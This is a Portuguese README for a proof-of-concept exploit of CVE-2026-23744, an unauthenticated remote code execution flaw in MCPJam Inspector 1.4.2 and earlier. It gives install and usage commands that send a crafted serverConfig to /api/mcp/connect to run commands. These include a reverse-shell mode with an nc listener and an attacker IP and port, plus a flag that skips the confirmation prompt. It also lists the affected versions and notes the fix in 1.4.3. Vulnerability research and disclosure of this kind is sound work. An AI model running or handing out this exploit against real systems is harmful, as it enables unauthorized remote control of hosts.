CVE-2026-23744 — RCE não autenticado no MCPJam Inspector

PoC de execução remota de código não autenticada para CVE-2026-23744. O MCPJam Inspector 1.4.2 e versões anteriores expõem funcionalidades por meio de /api/mcp/connect que podem iniciar um comando de servidor MCP controlado pelo atacante sem autenticação.

Apenas para testes autorizados e pesquisa. Não utilize contra sistemas que você não possui ou para os quais não tem permissão explícita de teste.

---

O que faz

HTTP POST -> /api/mcp/connect -> serverConfig command -> process launch -> command execution

1. Constrói um payload MCP serverConfig elaborado.
2. Tem como alvo o endpoint não autenticado /api/mcp/connect.
3. Executa um comando configurado por meio de bash -c.
4. Suporta validação segura de comandos e payloads de reverse shell.
5. Oferece modos dry-run/debug para inspeção do payload antes de enviar o tráfego.

---

Capturas de tela

Configuração do reverse shell

Payload de conexão do MCPJam

Shell recebido

---

Instalação

git clone https://github.com/ozcanpng/CVE-2026-23744.git
cd CVE-2026-23744
pip install -r requirements.txt

---

Uso

Prova com comando seguro

python3 CVE-2026-23744.py \
  --url http://127.0.0.1:3000 \
  --cmd 'id'

Reverse shell

Inicie um listener primeiro:

rlwrap nc -lvnp 4444

Em seguida, execute:

python3 CVE-2026-23744.py \
  --url http://127.0.0.1:3000 \
  --reverse-shell \
  --lhost 10.10.16.53 \
  --lport 4444

Opções úteis:

--cmd COMMAND       Command to execute (default: id)
--server-id VALUE   serverId value in the crafted MCP config (default: pwn)
--dry-run           Build payload flow without sending the HTTP request
--debug             Print endpoint and JSON payload
--verify-tls        Verify HTTPS certificates
--timeout SECONDS   HTTP timeout in seconds (default: 8)
--yes               Skip reverse-shell confirmation prompt

---

Afetados

Produto	Versão afetada	Acesso necessário	Impacto
MCPJam Inspector	<= 1.4.2	Nenhum	Execução remota de comandos como o usuário do processo do MCPJam Inspector

O problema fica especialmente exposto quando o MCPJam Inspector escuta em 0.0.0.0, permitindo que hosts remotos alcancem o serviço de desenvolvimento.

---

Notas

• O PoC envia um payload JSON para /api/mcp/connect.
• O comando é passado por meio de serverConfig.command e serverConfig.args.
• Prefira --cmd para validação segura antes de tentar um reverse shell.
• Use --dry-run --debug para inspecionar a requisição gerada sem tocar em um alvo.
• A versão 1.4.3 contém o patch upstream de acordo com o NVD.

---

Referências

• NVD — CVE-2026-23744
• Aviso de Segurança do GitHub — GHSA-232v-j27c-5pp6
• Commit do patch
• MCPJam Inspector

---

Autor do PoC

ozcanpng — github.com/ozcanpng — ozcanpng.dev